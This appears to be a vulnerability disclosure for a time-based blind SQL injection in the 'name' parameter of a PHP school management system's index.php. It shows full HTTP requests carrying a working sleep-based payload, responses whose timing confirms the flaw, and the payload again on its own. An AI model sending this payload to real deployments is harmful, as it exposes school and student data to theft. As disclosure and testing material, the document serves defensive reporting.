

SQL injection vulnerability exists in name parameter of index.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 0s:

**Request**

```
1 POST /std1/index.php HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=20ptau7cr4s4oumkvlpq4129mn
6 Content-Length: 63
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 do=add_exam&name=0'XOR(if(now())=sysdate())%2Csleep(0)%2C0))XOR'Z
```

**Response**

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 11:00:40 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Location: view/exam.php?do=alert_from_insert&msg=3
8 Content-Length: 6
9
10
11
12
13
```

Done

248 bytes | 5 millis

Sleep time is 8s:

**Request**

```
1 POST /std1/index.php HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=20ptau7cr4s4oumkvlpq4129mn
6 Content-Length: 63
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 do=add_exam&name=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z
```

**Response**

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 10:59:24 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Location: view/exam.php?do=alert_from_insert&msg=3
8 Content-Length: 6
9
10
11
12
13
```

Ready

248 bytes | 8,015 millis

Payload:do=add\_exam&name=0'XOR(if(now())=sysdate())%2Csleep(0)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>